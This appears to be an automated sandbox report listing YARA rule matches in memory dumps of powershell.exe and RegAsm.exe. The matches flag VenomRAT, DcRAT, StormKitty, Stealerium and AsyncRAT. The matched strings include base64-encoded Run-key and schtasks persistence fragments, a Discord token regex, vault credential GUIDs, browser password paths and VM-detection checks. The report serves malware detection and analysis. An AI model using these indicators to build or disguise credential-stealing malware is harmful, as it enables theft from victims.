5.2.powershell.exe.29dec589c5a.10.raw.unpack	rat_win_dcrat_qwqdanchun	Find DcRAT samples (qwqdanchun) based on specific strings	Sekoia.io	0x16bcb8:$str02: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA== 0x167d88:$str04: Pac_ket 0x177ace:$str05: Perfor_mance 0x177b12:$str06: Install_ed 0x12217b:$str07: get_IsConnected 0x138640:$str08: get_ActivatePo_ng 0x14c57b:$str09: isVM_by_wim_temper 0x1783c0:$str10: save_Plugin 0x1684a8:$str11: timeout 3 > NUL 0x1776ae:$str12: ProcessHacker.exe 0x1778a0:$str13: Select * from Win32_CacheMemory
5.2.powershell.exe.29dec589c5a.10.raw.unpack	INDICATOR_SUSPICIOUS_EXE_B64_Artifacts	Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.	ditekSHen	0x16bcb8:$s1: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA 0x16bc1b:$s2: L2Mgc2NodGFza3MgL2
5.2.powershell.exe.29dec589c5a.10.raw.unpack	INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice	Detects executables attemping to enumerate video devices using WMI	ditekSHen	0x1778a0:$q1: Select * from Win32_CacheMemory 0x1778e0:$d1: {860BB310-5D01-11d0-BD3B-00A0C911CE86} 0x17792e:$d2: {62BE5D10-60EB-11d0-BD3B-00A0C911CE86} 0x17797c:$d3: {55272A00-42CB-11CE-8135-00AA004BB851}
5.2.powershell.exe.29dec589c5a.10.raw.unpack	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x16fa7c:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
5.2.powershell.exe.29dec589c5a.10.raw.unpack	INDICATOR_SUSPICIOUS_EXE_References_VPN	Detects executables referencing many VPN software clients. Observed in infosteslers	ditekSHen	0x175417:$s1: \VPN\NordVPN 0x1753fd:$s2: \VPN\OpenVPN 0x1753df:$s3: \VPN\ProtonVPN
5.2.powershell.exe.29dec589c5a.10.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x16a161:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x16a1d3:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x16a25d:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x16a2ef:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x16a359:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x16a3cb:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x16a461:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x16a4f1:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
5.2.powershell.exe.29dec589c5a.10.raw.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x167d18:$s3: {{ ProcessId = {0}, Name = {1}, ExecutablePath = {2} }} 0x163e8c:$s6: VirtualBox 0x173a0b:$s6: VirtualBox 0x16f428:$s8: Win32_ComputerSystem 0x173971:$s8: Win32_ComputerSystem 0x16c554:$s9: Win32_Process Where ParentProcessID= 0x16c171:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x16c20e:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x16c323:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x16c40b:$cnc4: POST / HTTP/1.1
5.2.powershell.exe.29ddc077076.0.unpack	MALWARE_Win_StormKitty	Detects StormKitty infostealer	ditekSHen	0x43faa:$x2: https://github.com/LimerBoy/StormKitty 0x43fc6:$x3: StormKitty
5.2.powershell.exe.29debe9c1b2.11.raw.unpack	JoeSecurity_VenomRAT	Yara detected VenomRAT	Joe Security
5.2.powershell.exe.29debe9c1b2.11.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
5.2.powershell.exe.29debe9c1b2.11.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
5.2.powershell.exe.29debe9c1b2.11.raw.unpack	JoeSecurity_BrowserPasswordDump_1	Yara detected BrowserPasswordDump	Joe Security
5.2.powershell.exe.29debe9c1b2.11.raw.unpack	JoeSecurity_Keylogger_Generic_3	Yara detected Keylogger Generic	Joe Security
5.2.powershell.exe.29debe9c1b2.11.raw.unpack	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x11d6b6:$a1: havecamera 0x1684e0:$a2: timeout 3 > NUL 0x16b863:$a3: START "" " 0x16bd78:$a3: START "" " 0x16bc53:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x16bcf0:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA==
5.2.powershell.exe.29debe9c1b2.11.raw.unpack	infostealer_win_stealerium	Detects Stealerium based on specific strings	Sekoia.io	0x16ebda:$str01: Processe: 0x16ea96:$str02: Compname: 0x16eb90:$str04: SandBoxie: 0x16eb26:$str08: WEBCAMS COUNT: 0x16eb4a:$str09: [Virtualization] 0x16f398:$str10: [Open google maps]( 0x170e0f:$str11: Remember password: 0x163f02:$str12: Target.Browsers.Firefox 0x14b67d:$str13: Modules.Keylogger 0x153540:$str14: ClipperAddresses 0x1556e5:$str15: ChromiumPswPaths 0x1556f7:$str15: ChromiumPswPaths 0x15163a:$str16: DetectedBankingServices 0x1517a3:$str17: DetectCryptocurrencyServices 0x15f69c:$str18: CheckRemoteDebuggerPresent 0x160621:$str19: GetConnectedCamerasCount
5.2.powershell.exe.29debe9c1b2.11.raw.unpack	infostealer_win_stormkitty	Finds StormKitty samples (or their variants) based on specific strings	Sekoia.io	0x12ec00:$str01: set_sUsername 0x13c132:$str03: set_sExpMonth 0x1514ed:$str04: WritePasswords 0x151fa7:$str05: WriteCookies 0x1556f6:$str06: sChromiumPswPaths 0x1556d1:$str07: sGeckoBrowserPaths 0x16ad7d:$str10: encrypted_key":"(.*?)"
5.2.powershell.exe.29debe9c1b2.11.raw.unpack	rat_win_dcrat_qwqdanchun	Find DcRAT samples (qwqdanchun) based on specific strings	Sekoia.io	0x16bcf0:$str02: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA== 0x167dc0:$str04: Pac_ket 0x177b06:$str05: Perfor_mance 0x177b4a:$str06: Install_ed 0x1221b3:$str07: get_IsConnected 0x138678:$str08: get_ActivatePo_ng 0x14c5b3:$str09: isVM_by_wim_temper 0x1783f8:$str10: save_Plugin 0x1684e0:$str11: timeout 3 > NUL 0x1776e6:$str12: ProcessHacker.exe 0x1778d8:$str13: Select * from Win32_CacheMemory
5.2.powershell.exe.29debe9c1b2.11.raw.unpack	INDICATOR_SUSPICIOUS_EXE_B64_Artifacts	Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.	ditekSHen	0x16bcf0:$s1: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA 0x16bc53:$s2: L2Mgc2NodGFza3MgL2
5.2.powershell.exe.29debe9c1b2.11.raw.unpack	INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice	Detects executables attemping to enumerate video devices using WMI	ditekSHen	0x1778d8:$q1: Select * from Win32_CacheMemory 0x177918:$d1: {860BB310-5D01-11d0-BD3B-00A0C911CE86} 0x177966:$d2: {62BE5D10-60EB-11d0-BD3B-00A0C911CE86} 0x1779b4:$d3: {55272A00-42CB-11CE-8135-00AA004BB851}
5.2.powershell.exe.29debe9c1b2.11.raw.unpack	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x16fab4:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
5.2.powershell.exe.29debe9c1b2.11.raw.unpack	INDICATOR_SUSPICIOUS_EXE_References_VPN	Detects executables referencing many VPN software clients. Observed in infosteslers	ditekSHen	0x17544f:$s1: \VPN\NordVPN 0x175435:$s2: \VPN\OpenVPN 0x175417:$s3: \VPN\ProtonVPN
5.2.powershell.exe.29debe9c1b2.11.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x16a199:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x16a20b:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x16a295:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x16a327:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x16a391:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x16a403:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x16a499:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x16a529:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
5.2.powershell.exe.29debe9c1b2.11.raw.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x167d50:$s3: {{ ProcessId = {0}, Name = {1}, ExecutablePath = {2} }} 0x163ec4:$s6: VirtualBox 0x173a43:$s6: VirtualBox 0x16f460:$s8: Win32_ComputerSystem 0x1739a9:$s8: Win32_ComputerSystem 0x16c58c:$s9: Win32_Process Where ParentProcessID= 0x16c1a9:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x16c246:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x16c35b:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x16c443:$cnc4: POST / HTTP/1.1
9.2.RegAsm.exe.525b8a.0.raw.unpack	JoeSecurity_VenomRAT	Yara detected VenomRAT	Joe Security
9.2.RegAsm.exe.525b8a.0.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
9.2.RegAsm.exe.525b8a.0.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
9.2.RegAsm.exe.525b8a.0.raw.unpack	JoeSecurity_BrowserPasswordDump_1	Yara detected BrowserPasswordDump	Joe Security
9.2.RegAsm.exe.525b8a.0.raw.unpack	JoeSecurity_Keylogger_Generic_3	Yara detected Keylogger Generic	Joe Security
9.2.RegAsm.exe.400000.1.unpack	JoeSecurity_VenomRAT	Yara detected VenomRAT	Joe Security
9.2.RegAsm.exe.400000.1.unpack	JoeSecurity_StormKitty	Yara detected StormKitty Stealer	Joe Security
9.2.RegAsm.exe.400000.1.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
9.2.RegAsm.exe.400000.1.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
9.2.RegAsm.exe.400000.1.unpack	JoeSecurity_BrowserPasswordDump_1	Yara detected BrowserPasswordDump	Joe Security
9.2.RegAsm.exe.400000.1.unpack	JoeSecurity_Keylogger_Generic_3	Yara detected Keylogger Generic	Joe Security
9.2.RegAsm.exe.525b8a.0.raw.unpack	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x11d67e:$a1: havecamera 0x1684a8:$a2: timeout 3 > NUL 0x16b82b:$a3: START "" " 0x16bd40:$a3: START "" " 0x16bc1b:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x16bcb8:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA==
9.2.RegAsm.exe.400000.1.unpack	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x241408:$a1: havecamera 0x28c232:$a2: timeout 3 > NUL 0x28f5b5:$a3: START "" " 0x28faca:$a3: START "" " 0x28f9a5:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x28fa42:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA==
9.2.RegAsm.exe.525b8a.0.raw.unpack	infostealer_win_stealerium	Detects Stealerium based on specific strings	Sekoia.io	0x16eba2:$str01: Processe: 0x16ea5e:$str02: Compname: 0x16eb58:$str04: SandBoxie: 0x16eaee:$str08: WEBCAMS COUNT: 0x16eb12:$str09: [Virtualization] 0x16f360:$str10: [Open google maps]( 0x170dd7:$str11: Remember password: 0x163eca:$str12: Target.Browsers.Firefox 0x14b645:$str13: Modules.Keylogger 0x153508:$str14: ClipperAddresses 0x1556ad:$str15: ChromiumPswPaths 0x1556bf:$str15: ChromiumPswPaths 0x151602:$str16: DetectedBankingServices 0x15176b:$str17: DetectCryptocurrencyServices 0x15f664:$str18: CheckRemoteDebuggerPresent 0x1605e9:$str19: GetConnectedCamerasCount
9.2.RegAsm.exe.400000.1.unpack	infostealer_win_stealerium	Detects Stealerium based on specific strings	Sekoia.io	0x29292c:$str01: Processe: 0x2927e8:$str02: Compname: 0x2928e2:$str04: SandBoxie: 0x292878:$str08: WEBCAMS COUNT: 0x29289c:$str09: [Virtualization] 0x2930ea:$str10: [Open google maps]( 0x294b61:$str11: Remember password: 0x287c54:$str12: Target.Browsers.Firefox 0x26f3cf:$str13: Modules.Keylogger 0x277292:$str14: ClipperAddresses 0x279437:$str15: ChromiumPswPaths 0x279449:$str15: ChromiumPswPaths 0x27538c:$str16: DetectedBankingServices 0x2754f5:$str17: DetectCryptocurrencyServices 0x2833ee:$str18: CheckRemoteDebuggerPresent 0x284373:$str19: GetConnectedCamerasCount
9.2.RegAsm.exe.400000.1.unpack	infostealer_win_stormkitty	Finds StormKitty samples (or their variants) based on specific strings	Sekoia.io	0x5db:$sk01: LimerBoy/StormKitty 0x252952:$str01: set_sUsername 0x25fe84:$str03: set_sExpMonth 0x27523f:$str04: WritePasswords 0x275cf9:$str05: WriteCookies 0x279448:$str06: sChromiumPswPaths 0x279423:$str07: sGeckoBrowserPaths 0x28eacf:$str10: encrypted_key":"(.*?)"
9.2.RegAsm.exe.400000.1.unpack	rat_win_dcrat_qwqdanchun	Find DcRAT samples (qwqdanchun) based on specific strings	Sekoia.io	0x28fa42:$str02: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA== 0x28bb12:$str04: Pac_ket 0x29b858:$str05: Perfor_mance 0x29b89c:$str06: Install_ed 0x245f05:$str07: get_IsConnected 0x25c3ca:$str08: get_ActivatePo_ng 0x270305:$str09: isVM_by_wim_temper 0x29c14a:$str10: save_Plugin 0x28c232:$str11: timeout 3 > NUL 0x29b438:$str12: ProcessHacker.exe 0x29b62a:$str13: Select * from Win32_CacheMemory
9.2.RegAsm.exe.525b8a.0.raw.unpack	infostealer_win_stormkitty	Finds StormKitty samples (or their variants) based on specific strings	Sekoia.io	0x12ebc8:$str01: set_sUsername 0x13c0fa:$str03: set_sExpMonth 0x1514b5:$str04: WritePasswords 0x151f6f:$str05: WriteCookies 0x1556be:$str06: sChromiumPswPaths 0x155699:$str07: sGeckoBrowserPaths 0x16ad45:$str10: encrypted_key":"(.*?)"
9.2.RegAsm.exe.525b8a.0.raw.unpack	rat_win_dcrat_qwqdanchun	Find DcRAT samples (qwqdanchun) based on specific strings	Sekoia.io	0x16bcb8:$str02: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA== 0x167d88:$str04: Pac_ket 0x177ace:$str05: Perfor_mance 0x177b12:$str06: Install_ed 0x12217b:$str07: get_IsConnected 0x138640:$str08: get_ActivatePo_ng 0x14c57b:$str09: isVM_by_wim_temper 0x1783c0:$str10: save_Plugin 0x1684a8:$str11: timeout 3 > NUL 0x1776ae:$str12: ProcessHacker.exe 0x1778a0:$str13: Select * from Win32_CacheMemory
9.2.RegAsm.exe.400000.1.unpack	INDICATOR_SUSPICIOUS_EXE_B64_Artifacts	Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.	ditekSHen	0x28fa42:$s1: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA 0x28f9a5:$s2: L2Mgc2NodGFza3MgL2
9.2.RegAsm.exe.400000.1.unpack	INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice	Detects executables attemping to enumerate video devices using WMI	ditekSHen	0x29b62a:$q1: Select * from Win32_CacheMemory 0x29b66a:$d1: {860BB310-5D01-11d0-BD3B-00A0C911CE86} 0x29b6b8:$d2: {62BE5D10-60EB-11d0-BD3B-00A0C911CE86} 0x29b706:$d3: {55272A00-42CB-11CE-8135-00AA004BB851}
9.2.RegAsm.exe.400000.1.unpack	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x293806:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
9.2.RegAsm.exe.400000.1.unpack	INDICATOR_SUSPICIOUS_EXE_References_VPN	Detects executables referencing many VPN software clients. Observed in infosteslers	ditekSHen	0x2991a1:$s1: \VPN\NordVPN 0x299187:$s2: \VPN\OpenVPN 0x299169:$s3: \VPN\ProtonVPN
9.2.RegAsm.exe.400000.1.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x28deeb:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x28df5d:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x28dfe7:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x28e079:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x28e0e3:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x28e155:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x28e1eb:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x28e27b:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
9.2.RegAsm.exe.400000.1.unpack	MALWARE_Win_StormKitty	Detects StormKitty infostealer	ditekSHen	0x5c8:$x2: https://github.com/LimerBoy/StormKitty 0x5e4:$x3: StormKitty 0x27dff4:$s2: GetAntivirus 0x29405a:$s4: ^([a-zA-Z0-9_\-\.]+)@([a-zA-Z0-9_\-\.]+)\.([a-zA-Z]{2,5})$ 0x28d4a5:$s5: BCrypt.BCryptGetProperty() (get size) failed with status code:{0} 0x28eacd:$s6: "encrypted_key":"(.*?)"
9.2.RegAsm.exe.400000.1.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x28baa2:$s3: {{ ProcessId = {0}, Name = {1}, ExecutablePath = {2} }} 0x287c16:$s6: VirtualBox 0x297795:$s6: VirtualBox 0x2931b2:$s8: Win32_ComputerSystem 0x2976fb:$s8: Win32_ComputerSystem 0x2902de:$s9: Win32_Process Where ParentProcessID= 0x28fefb:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x28ff98:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x2900ad:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x290195:$cnc4: POST / HTTP/1.1
9.2.RegAsm.exe.525b8a.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_B64_Artifacts	Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.	ditekSHen	0x16bcb8:$s1: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA 0x16bc1b:$s2: L2Mgc2NodGFza3MgL2
9.2.RegAsm.exe.525b8a.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice	Detects executables attemping to enumerate video devices using WMI	ditekSHen	0x1778a0:$q1: Select * from Win32_CacheMemory 0x1778e0:$d1: {860BB310-5D01-11d0-BD3B-00A0C911CE86} 0x17792e:$d2: {62BE5D10-60EB-11d0-BD3B-00A0C911CE86} 0x17797c:$d3: {55272A00-42CB-11CE-8135-00AA004BB851}
9.2.RegAsm.exe.525b8a.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x16fa7c:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
9.2.RegAsm.exe.525b8a.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_References_VPN	Detects executables referencing many VPN software clients. Observed in infosteslers	ditekSHen	0x175417:$s1: \VPN\NordVPN 0x1753fd:$s2: \VPN\OpenVPN 0x1753df:$s3: \VPN\ProtonVPN
9.2.RegAsm.exe.525b8a.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x16a161:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x16a1d3:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x16a25d:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x16a2ef:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x16a359:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x16a3cb:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x16a461:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x16a4f1:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
9.2.RegAsm.exe.525b8a.0.raw.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x167d18:$s3: {{ ProcessId = {0}, Name = {1}, ExecutablePath = {2} }} 0x163e8c:$s6: VirtualBox 0x173a0b:$s6: VirtualBox 0x16f428:$s8: Win32_ComputerSystem 0x173971:$s8: Win32_ComputerSystem 0x16c554:$s9: Win32_Process Where ParentProcessID= 0x16c171:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x16c20e:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x16c323:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x16c40b:$cnc4: POST / HTTP/1.1
5.2.powershell.exe.29dec168498.8.unpack	JoeSecurity_VenomRAT	Yara detected VenomRAT	Joe Security
5.2.powershell.exe.29dec168498.8.unpack	JoeSecurity_StormKitty	Yara detected StormKitty Stealer	Joe Security
5.2.powershell.exe.29dec168498.8.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
5.2.powershell.exe.29dec168498.8.unpack	JoeSecurity_BrowserPasswordDump_1	Yara detected BrowserPasswordDump	Joe Security
5.2.powershell.exe.29dec168498.8.unpack	JoeSecurity_Keylogger_Generic_3	Yara detected Keylogger Generic	Joe Security
5.2.powershell.exe.29dec168498.8.unpack	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x23f608:$a1: havecamera 0x28a432:$a2: timeout 3 > NUL 0x28d7b5:$a3: START "" " 0x28dcca:$a3: START "" " 0x28dba5:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x28dc42:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA==
5.2.powershell.exe.29dec168498.8.unpack	infostealer_win_stealerium	Detects Stealerium based on specific strings	Sekoia.io	0x290b2c:$str01: Processe: 0x2909e8:$str02: Compname: 0x290ae2:$str04: SandBoxie: 0x290a78:$str08: WEBCAMS COUNT: 0x290a9c:$str09: [Virtualization] 0x2912ea:$str10: [Open google maps]( 0x292d61:$str11: Remember password: 0x285e54:$str12: Target.Browsers.Firefox 0x26d5cf:$str13: Modules.Keylogger 0x275492:$str14: ClipperAddresses 0x277637:$str15: ChromiumPswPaths 0x277649:$str15: ChromiumPswPaths 0x27358c:$str16: DetectedBankingServices 0x2736f5:$str17: DetectCryptocurrencyServices 0x2815ee:$str18: CheckRemoteDebuggerPresent 0x282573:$str19: GetConnectedCamerasCount
5.2.powershell.exe.29dec168498.8.unpack	infostealer_win_stormkitty	Finds StormKitty samples (or their variants) based on specific strings	Sekoia.io	0x2fc213:$sk01: LimerBoy/StormKitty 0x250b52:$str01: set_sUsername 0x25e084:$str03: set_sExpMonth 0x27343f:$str04: WritePasswords 0x273ef9:$str05: WriteCookies 0x277648:$str06: sChromiumPswPaths 0x277623:$str07: sGeckoBrowserPaths 0x28cccf:$str10: encrypted_key":"(.*?)"
5.2.powershell.exe.29dec168498.8.unpack	rat_win_dcrat_qwqdanchun	Find DcRAT samples (qwqdanchun) based on specific strings	Sekoia.io	0x28dc42:$str02: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA== 0x289d12:$str04: Pac_ket 0x299a58:$str05: Perfor_mance 0x299a9c:$str06: Install_ed 0x244105:$str07: get_IsConnected 0x25a5ca:$str08: get_ActivatePo_ng 0x26e505:$str09: isVM_by_wim_temper 0x29a34a:$str10: save_Plugin 0x28a432:$str11: timeout 3 > NUL 0x299638:$str12: ProcessHacker.exe 0x29982a:$str13: Select * from Win32_CacheMemory
5.2.powershell.exe.29dec168498.8.unpack	INDICATOR_SUSPICIOUS_EXE_B64_Artifacts	Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.	ditekSHen	0x28dc42:$s1: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA 0x28dba5:$s2: L2Mgc2NodGFza3MgL2
5.2.powershell.exe.29dec168498.8.unpack	INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice	Detects executables attemping to enumerate video devices using WMI	ditekSHen	0x29982a:$q1: Select * from Win32_CacheMemory 0x29986a:$d1: {860BB310-5D01-11d0-BD3B-00A0C911CE86} 0x2998b8:$d2: {62BE5D10-60EB-11d0-BD3B-00A0C911CE86} 0x299906:$d3: {55272A00-42CB-11CE-8135-00AA004BB851}
5.2.powershell.exe.29dec168498.8.unpack	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x291a06:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
5.2.powershell.exe.29dec168498.8.unpack	INDICATOR_SUSPICIOUS_EXE_References_VPN	Detects executables referencing many VPN software clients. Observed in infosteslers	ditekSHen	0x2973a1:$s1: \VPN\NordVPN 0x297387:$s2: \VPN\OpenVPN 0x297369:$s3: \VPN\ProtonVPN
5.2.powershell.exe.29dec168498.8.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x28c0eb:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x28c15d:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x28c1e7:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x28c279:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x28c2e3:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x28c355:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x28c3eb:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x28c47b:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
